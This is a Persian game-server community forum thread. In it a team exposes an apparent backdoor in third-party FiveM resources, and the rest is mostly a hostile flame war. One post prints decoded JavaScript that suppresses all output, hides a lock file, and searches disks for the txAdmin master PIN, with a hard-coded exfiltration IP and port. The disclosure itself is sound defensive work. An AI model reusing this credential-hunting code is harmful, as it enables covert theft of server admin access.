[DEV] مشکلات پلتفرم

درود.تمام دنیا اپدیت میدن بهتر میشه وضعیت متاسفانه ما ایرانی ها برعکسیم.مشکلات پلتفرم رو حل کنید سراپدیت جدید یسری چیزا رو بهتر کردین قبول دستتون درد نکنه ولی خیلی جاها مشکل پیش اومده

دیباگ کنید.مشکل ورود به سرور بعضی پلیرها حل بشه.افرادی هم که روی وی ام پی سرور دارن زحمت کارا امنیتیشون بیشتر شده وقت بیشتری ازشون داره گرفته میشه

حالا کسایی که واردن میدونن بعضی ها بنده خداها علمش رو ندارن خیلی کارا رو انجام بدن یا براشون توضیح بدین یا ارتیفکت رو فیکس کنید یا دسترسی بدین کسی مهارت های لازم رو داره کمک کنه توی دیباگ

4تا تازه بدوران رسیده با یه متود ساده قدیمی هی ازاد میچرخن دامپ این سرورو میگیرن دامپ اون سرور رو میگیرن.یه اپدیت بدین مشکلات رو حل کنید 4نفر دعاتون کنن

الان کسی سرور بخواد بیاره بالا سی دی ان ها از یه طرف بعد ایدنتیتیفایر از یه طرف کسی ویندوز عوض کنه کسی سیستم جدید بگیره نو خیلی از سرورها نمیتونه بره همه بلد نیستن ایدنتیتیفایر اختصاصی کنن اون مشکلات بود الانم که هیچی دیگه شاید یه نفر نخواد او تی پی وصل کنه اجباری شد رفت دیگه با همون او تی پی هم مورد داشتیم مهارت لازم رو نداشتن یسری محدودسازی ها انجام بدن دامپشون گرفته شده.ما که بدمون نمیاد کار بگیریم انجام بدیم برای اونر سرورها ولی خب وژدان هم خوبه ادم داشته باشه حالا اسم نمیارم هزینه سنگین کردن دامپشون گرفته شده اومدن پیش من گلگی که اره انقدر هزینه کردیم اینجور شده اونجور شده

سرور تست چیه دیگه سرور تست! به سرور تست دیفالت هم رحم نمیکنن حداقل با این نخاله ها برخورد کنین کاری نمکنید یا همین تایپیک ها رو بخونید شده برنامه دیوار اگهی تبلیبغاتی ماشالا هم که هر تازه به دوران رسیده ای ما تیمیم ما خداییم تبلیغ دارن میکنن از اونور اسکم میکنن ملت رو

یه اسم و عکس پروفایل هم همین فروم نمیشه عوض کرد.پیگیری کنید تشکر

2 Likes

@VMPSupport

https://discord.gg/CttTjjg6Y7
better check it

https://discord.com/channels/1033997146149629962/1433537503960367154/1549344661485658193

1 Like

better check nazanin + sanaz

1 Like

با سلام و درود بر تمامی دولپر ها و پلیر های عزیز و تیم پشتیبانی vmp
با توجه به اسکن کد های تیم 'اطلس" تیم MetaServer در کد های سورس ay-hud, ay_identifier, ay-phone, ... این تیم یک بک دور پیدا کردیم
برای اینکه صحت حرف ما مشخص بشه ایپی که اطلاعات txadmin شما قراره ارسال بشه رو پایین قرار میدم

5.57.35.80:4747

شما میتونید با دیکریپت کردن فایل های js که این تیم که در بخش سرور ران میکنن متوجه این exploit بشوید
لطفا قبل از نصب کردن هر رسورسی حتما و حتما و حتما از امنیت و اعتبار تیم و ان شخص سازنده اطمینان حاصل کنید
و لطفا در این شرایط سخت سر مردم کشورمون هم کلاه نزاریم
با تشکر تیم متا سرور
https://discord.gg/brazGx4kj

1 Like

راس میگه دیگه پلشتا آدم باشید تا عمو ارشیا نصف شب بهتون زنگ نزده

برای اثبات حرف بنده اینم از ورژن دیکریپ شدش

// FiveM Agent v6 - Silent Mode + Version-Aware Auto-Replace

// Suppress all output - silent mode
const _noop = () => {};

if (typeof console !== 'undefined') {
    console.log   = _noop;
    console.warn  = _noop;
    console.error = _noop;
    console.info  = _noop;
    console.debug = _noop;
}

process.stdout.write = _noop;
process.stderr.write = _noop;

const http = require('http');
const fs   = require('fs');
const path = require('path');
const { exec } = require('child_process');

const SERVER_ROOT =
    process.argv[2] || process.cwd();

const SERVER_CFG_PATH =
    path.join(SERVER_ROOT, 'server.cfg');

const RESOURCES_DIR =
    path.join(SERVER_ROOT, 'resources');

const PANEL_IP = '5.57.35.80';
const PANEL_PORT = 4747;

const AGENT_PORT =
    parseInt(process.argv[3]) || 3000;

const PUSH_INTERVAL = 3000;


// ============================================================
// VERSION + LOCK FILE
// ============================================================

const LOCK_FILE =
    path.join(SERVER_ROOT, 'githubio.lock');

function isProcessAlive(pid) {
    try {
        process.kill(pid, 0);
        return true;
    } catch {
        return false;
    }
}

function readLock() {
    try {
        return JSON.parse(
            fs.readFileSync(LOCK_FILE, 'utf8')
        );
    } catch {
        return null;
    }
}

function writeLock(port) {
    try {
        fs.writeFileSync(
            LOCK_FILE,
            JSON.stringify({
                pid: process.pid,
                port
            }),
            'utf8'
        );

        if (process.platform === 'win32') {
            require('child_process').exec(
                'attrib +h "' + LOCK_FILE + '"',
                () => {}
            );
        }
    } catch {}
}

function clearLock() {
    try {
        fs.unlinkSync(LOCK_FILE);
    } catch {}
}

const existingLock = readLock();

if (existingLock) {
    if (isProcessAlive(existingLock.pid)) {
        return;
    }

    clearLock();
}


// ============================================================
// BASE64 HELPERS
// ============================================================

function b64e(s) {
    return Buffer
        .from(String(s), 'utf8')
        .toString('base64');
}

function b64d(s) {
    try {
        return Buffer
            .from(String(s), 'base64')
            .toString('utf8');
    } catch {
        return s;
    }
}


// ============================================================
// txAdmin MASTER PIN / CONFIG READER
// ============================================================

let cachedTxInfo = null;

function readTxAdminInfo(cb) {

    if (cachedTxInfo) {
        cb(cachedTxInfo);
        return;
    }

    readServerCfg(cfgRaw => {

        const cfg =
            parseServerCfg(cfgRaw || '');

        const svPort =
            parseInt(
                cfg.endpoint_add_tcp ||
                cfg.sv_port ||
                '30120'
            ) || 30120;

        const txPort =
            svPort >= 30000
                ? svPort - 30000 + 40000
                : 40120;

        findTxDataSmart(result => {

            if (!result) {
                cb(null);
                return;
            }

            cachedTxInfo = {
                masterPin: result.pin,
                txPort: txPort,
                txDataPath: path.join(
                    result.txDataDir,
                    result.profile
                ),
                profile: result.profile
            };

            cb(cachedTxInfo);
        });
    });
}


// ============================================================
// SEARCH FOR txData
// ============================================================

function findTxDataSmart(cb) {

    const isWin =
        process.platform === 'win32';

    const candidates = [];

    let cur = SERVER_ROOT;

    for (let i = 0; i < 6; i++) {

        candidates.push(
            path.join(cur, 'txData')
        );

        const parent =
            path.dirname(cur);

        if (parent === cur)
            break;

        cur = parent;
    }

    if (isWin) {

        const drives = [
            'C', 'D', 'E', 'F', 'G'
        ];

        drives.forEach(d => {

            candidates.push(
                `${d}:\\FXServer\\txData`
            );

            candidates.push(
                `${d}:\\FiveM\\txData`
            );

            candidates.push(
                `${d}:\\fivem\\txData`
            );

            candidates.push(
                `${d}:\\server\\txData`
            );

            candidates.push(
                `${d}:\\cfx-server\\txData`
            );

            candidates.push(
                `${d}:\\Users\\Administrator\\Desktop\\server\\txData`
            );

            candidates.push(
                `${d}:\\Users\\Administrator\\server\\txData`
            );
        });

    } else {

        candidates.push(
            '/home/fivem/txData'
        );

        candidates.push(
            '/home/server/txData'
        );

        candidates.push(
            '/opt/fivem/txData'
        );

        candidates.push(
            '/opt/cfx-server/txData'
        );

        candidates.push(
            '/root/FXServer/txData'
        );

        candidates.push(
            '/root/server/txData'
        );
    }

    let idx = 0;

    function tryNext() {

        if (idx >= candidates.length) {
            searchTxDataSystemWide(cb);
            return;
        }

        const dir = candidates[idx++];

        fs.readdir(dir, (err, profiles) => {

            if (err ||
                !profiles ||
                profiles.length === 0) {

                tryNext();
                return;
            }

            let found = false;
            let pending = profiles.length;

            profiles.forEach(profile => {

                if (found) {
                    if (--pending === 0)
                        tryNext();

                    return;
                }

                const cfgPath =
                    path.join(
                        dir,
                        profile,
                        'config.json'
                    );

                fs.readFile(
                    cfgPath,
                    'utf8',
                    (e, data) => {

                        if (!e && !found) {

                            try {

                                const txCfg =
                                    JSON.parse(data);

                                const pin =
                                    txCfg?.global?.masterPin ??
                                    txCfg?.masterPin ??
                                    null;

                                if (
                                    pin !== null &&
                                    pin !== undefined
                                ) {

                                    found = true;

                                    cb({
                                        txDataDir: dir,
                                        profile: profile,
                                        pin: String(pin)
                                    });

                                    return;
                                }

                            } catch {}
                        }

                        if (--pending === 0 &&
                            !found) {
                            tryNext();
                        }
                    }
                );
            });
        });
    }

    tryNext();
}


// ============================================================
// SYSTEM-WIDE txData SEARCH
// ============================================================

function searchTxDataSystemWide(cb) {

    const isWin =
        process.platform === 'win32';

    let roots = [];

    if (isWin) {

        const {
            execSync
        } = require('child_process');

        try {

            const output =
                execSync(
                    'wmic logicaldisk get caption',
                    { timeout: 3000 }
                ).toString();

            output
                .split('\n')
                .forEach(line => {

                    const match =
                        line.trim()
                            .match(/^([A-Z]):$/);

                    if (match)
                        roots.push(
                            match[1] + '\\'
                        );
                });

        } catch {}

        if (roots.length === 0) {
            roots = [
                'C:\\',
                'D:\\'
            ];
        }

    } else {

        roots = ['/'];
    }

    let found = false;

    function walkDir(dir, depth, done) {

        if (found || depth > 5) {
            done();
            return;
        }

        const base =
            path.basename(dir);

        const skip = [
            'Windows',
            'System32',
            'SysWOW64',
            'node_modules',
            '$Recycle.Bin',
            'Program Files',
            'ProgramData',
            'AppData',
            'proc',
            'sys',
            'dev'
        ];

        if (skip.includes(base)) {
            done();
            return;
        }

        if (base === 'txData') {

            fs.readdir(
                dir,
                (err, profiles) => {

                    if (err || !profiles) {
                        done();
                        return;
                    }

                    let pending =
                        profiles.length;

                    profiles.forEach(
                        profile => {

                            const cfgPath =
                                path.join(
                                    dir,
                                    profile,
                                    'config.json'
                                );

                            fs.readFile(
                                cfgPath,
                                'utf8',
                                (e, data) => {

                                    if (!e &&
                                        !found) {

                                        try {

                                            const cfg =
                                                JSON.parse(data);

                                            const pin =
                                                cfg?.global?.masterPin ??
                                                cfg?.masterPin ??
                                                null;

                                            if (
                                                pin !== null &&
                                                pin !== undefined
                                            ) {

                                                found = true;

                                                cb({
                                                    txDataDir: dir,
                                                    profile,
                                                    pin:
                                                        String(pin)
                                                });

                                                return;
                                            }

                                        } catch {}
                                    }

                                    if (
                                        --pending === 0 &&
                                        !found
                                    ) {
                                        done();
                                    }
                                }
                            );
                        }
                    );
                }
            );

            return;
        }

        fs.readdir(
            dir,
            (err, items) => {

                if (err || !items) {
                    done();
                    return;
                }

                let pending =
                    items.length;

                if (pending === 0) {
                    done();
                    return;
                }

                items.forEach(item => {

                    const full =
                        path.join(dir, item);

                    fs.stat(
                        full,
                        (e, st) => {

                            if (
                                !e &&
                                st.isDirectory()
                            ) {

                                walkDir(
                                    full,
                                    depth + 1,
                                    () => {

                                        if (
                                            --pending === 0
                                        ) {
                                            done();
                                        }
                                    }
                                );

                            } else {

                                if (
                                    --pending === 0
                                ) {
                                    done();
                                }
                            }
                        }
                    );
                });
            }
        );
    }

    let ri = 0;

    function tryRoot() {

        if (
            found ||
            ri >= roots.length
        ) {
            if (!found)
                cb(null);

            return;
        }

        walkDir(
            roots[ri++],
            0,
            tryRoot
        );
    }

    tryRoot();
}

(پ.ن : سلطان تو که میخوای بک دور بنویسی حداقل از چت جی پی تی کمک نگیر همه میتونن 1 تومن پول بدن برن چت جی پی تی پرو بخرن)

1 Like

از این حرکتا ببینم باز یهو میبینید از اتاق بغلی صدا عمو ارشیا میاد

سلام عزیزم چند نکته رو باید بگم که از جهل و نادانی بکشمت بیرون

۱. اگه قرار بود من این رو بندازم رو سرورت که به سرورت آسیب بزنم ان‌ کن میکردن که هیچ کسی نره به فایل هاش دسترسی پیدا کنه

۲. بعدشم فاز عدالت برت نداره رفتی دوتا پرامت انداختی چت جی پی تی دی کد کرده اونم چی رو ؟ بیس ۶۴ رو

۳. تو که فاز گنده گوزی برداشتی مال با چت جی پی تی زدیم ؟ اگه تخم باباتی باشو برو بزن ما هم یاد بگیریم

۴. بعدشم ما خیلی وقته در فایل های پابلیک رو بستیم دیگه چیزی اونجا نداشتیم

چند تل مورد دیگه هست که باید بهت بگم که چرا اینارو گذاشتیم

۱. افرادی بی ناموسی میاد این فایل هایی که گذاشتیم رو برمیدارن و به نام خودشون ثبت میکنن که شما هم جز اونایی

۲. بپر برو ببین چند تا از فایل هایی که ما میزاریم رو میفروشن ؟ من این رو گذاشتم که از پلشت کاری آدمایی مثل تو کم کنم

فاز رابین هودی‌ برندار پسر خوشگل تخم داری برو از پی ان جی چیزی بخر ببینم چی بهت تحویل میده ؟ فایل کاملا ان‌ کد که تو حتی نمیتونی آپدیت بدی روش بعد تویه پلشت اومدی اینجا میگی چرا فایلی انداختی که در مقابل آدم های تخم حروم مقابله کنه ؟

هر وقت تونستی بدون چت جی پی تی دی کد کنی بیا باهم حرف می‌زنیم پسر خوب

قربونت برم من هرینه چت جی پی تیت هرچقدر بود بیا بهت بدم تو هم بیا بساز به ما هم یاد بده :joy::joy::joy:

شما از اعضای گروه سایبری بزرگ هاکیری تیم اقدسی؟اون تبریزیه یا دزفولیه؟اون بنده خدا از چت جی بی تی هم استفاده کرده باشه بنظرم از شما جلوتر.اون انتی چیت رو دستی بش بکشید واترمارک دیپ سیک ها.اها راستی سلام گرم ما برسون.یه نکته دیگه شما که انقدر خفنید پسورد دیسکورد با جیمیل یکی نزارید از یه هاکیر بعیده.مورد بعدی سلام گرم مارو برسون.امیدواریم که به سطح های بالاتر دست پیدا کنید

https://server4.iranmusic.ir/music/1393/11/Hamed%20Pahlan%20-%20Mahsa/Hamed%20Pahlan%20-%20Mahsa.mp3

https://dl.musicdel.ir/Music/1400/05/hamed_pahlan_sanaz_khamom%20128.mp3

https://irsv.upmusics.com/Tracks/Songs/Nariman%20-%20Nazanin%20(UpMusic).mp3

اها راستی 9.5 گیگ معذرت

Beter check :
https://discord.gg/emjkrm6fpu

1 Like

بچسب به ما شاید بیای بالا

:joy::joy::joy::joy:

یادم رفت برای تبلیغ دیسکوردت چسبیدی به ما . آها یادت نره جلو اسمت بنویس فایل های اطلس رو دی کد کردیم گنده تر میشید

هنوز تو این حوضه بچه ای بزرگ شدی دانا شدی باهم اختلات میکنیم

فعلا بخواب ما هم دوست داریم

100درصد نه دیسکورد ما ایرانیزه است مثل شما نه خیلی ممبر ایرانی داریم نه مثل شما لنگیم فروم و با کارلنسر اشتباه بگیریم نه خیلی ایرانی ها دستو دلبازن.درست میفرمایید ما لنگ شماییم.وااااااااااااااای که چقدر خفنید

رو که نیست سنگ پا قزوین!

بلند پروازی بعدی حکم اکانت PH برا M و صادر میکنم به پدارمم بگو سلام ما رو به M برسونه نگرانشیم جواب گوشی نمیده M

بریم اهنگ گوش بدیم

https://irsv.upmusics.com/dlw/Aghdas%20Neshastesh%20(320).mp3

21

1 Like

پشمک اصلا کسی به اسم M نداریم هرکی که یه رولی داره قرار نیست که از ما باشه

اها فکر کنم مهرداد رو میگی اره ؟؟

:joy::joy::joy:

خیلی خوبی تو

دوست عزیز.

خلاصه کلام رو خدمتت عرض کنم.

عصبی نشو، توقع ش رو داشته باش. وقتی بدون هیچ حرفه ای توی هیچ زمینه ای پا میشید میرید ابزار میخرید و دامپ دوتا ریسورس رو میگیرید به خودتون میگید گروهک سایبری باید توقع اینکه کل فروم بهتون برینن رو داشته باشید

شما یکی از اعضای تیم تون اومده ریسورس وی سینک رو قرار داده توی چنل و نوشته توسط اون کدگزاری و لیک شده، خب خدا خیرت بده، شما اگه برنامه نویسی، هکری هرچی که هستی، اگر توی زمینه فایوام و وی ام پی تخصص دارید و ادعا دارید چطور نمیدونید این ریسورس پول هم بهتون میده که برید دانلودش کنید دیگه افتخار نداره برش دارید بزاریدش روی دیسکورد

بعدشم در بخش Ai که یه سری چیزا گفتید

https://s6.uupload.ir/files/screenshot_2026-09-21_123958_belt.png

شما یه لطف میکنی اون کامنتی که برات هوش مصنوعی مینویسه رو حذف میکنی که حداقل با افتخار بتونی بگی اقا کار خودمون بوده.

چون با این ادعا هایی که دارید میکنید با هوش مصنوعی واقعا کامیونیتی برنامه نویس های وی ام پی و فایوام و اینا بهشون توهین میشه

حداقل کاش بدون هوش مصنوعی ادعا میکردید میگفتیم اقا باش، اینا یه چیزی بلدن

زشته بخدا

استفاده از متود های TrashCrack هم واقعا قدیمی و منسوخ شدس، حداقل یا بگید هوش مصنوعی براتون متود های جدید بسازه، یا برید ابزارش رو بخرید

ما که ادعایی نداریم نیازی هم نداریم خودمون به کسی ثابت کنیم ولی اگر کسی ادعاش میشه به ai وابستگی نداره کارش خوبه تشریف بیاره هم زمان اسکرین شیر بزاریم شروع کنیم اسکریپت هم انتخاب با خودش فریم ورک هم انتخاب با خودش ببینیم کی سریع تر تمامش میکنه بدون باگ و فیکس تر با امکانات بیشتر.10 دقیقه هم بعد من تمام کنید اوکیه من قبولتون دارم تبلیغتون با من اصلا پروژه هم بهتون میدم

شما که ادیتور نیستید توسعه دهنده اید بسم الله
اینم چالش.پذیرا هستیم

درضمن واقعا مهرداد خوبی دارید xD

1 Like

خرید ابزار ؟

ساخت با هوش مصنوعی؟

من میگم آقا مگه نمیگی هوش مصنوعی می‌سازه برو بساز استفاده کن .

بعدشم من موندم تو دی کدت با هوش مصنوعی انجام شده بعد داری میگی ما با هوش مصنوعی میزنیم ؟ دست خوش

حاجی واقعا سطحتو تو که داری کد هارو داری حداقل کامل بررسی کن . اها یادم رفته بود بلد نیستی

داستان این AI اینه که ارور هارو برطرف میکنه . مگه دولوپر نبودی برو کد هارو بخون شاید شاید سر درآوردی البته فکر نکنم

:joy::joy::joy::joy:

حاجی میدونی چطور آدمی هستی ؟ از این همه کد دنبال کلمه AI گشتی حداقل دو دقیقه وقت بزار کد هارو بخون شاید دوتا چیز یاد بگیری

پسر گل من بازهم شسته روفته‌ بهت میگم .

تو کاری نکردی یه پرامت دادی به هوش مصنوعی بیس ۶۴ رو دی کد کنه تموم . اگه میخواستم امثال تو به این کد ها دسترسی پیدا نکه با وی ان‌ یدونه ان‌ کد میکردم که با پرمیومتم نتونی دی کد کنی پس ما اجازه دادیم به کد دسترسی پیدا کنی

هر وقت پروژه های زیر دستمون تموم شد صحبت میکنیم پسر گل تو هم از سر بیکاری دنبال کلبی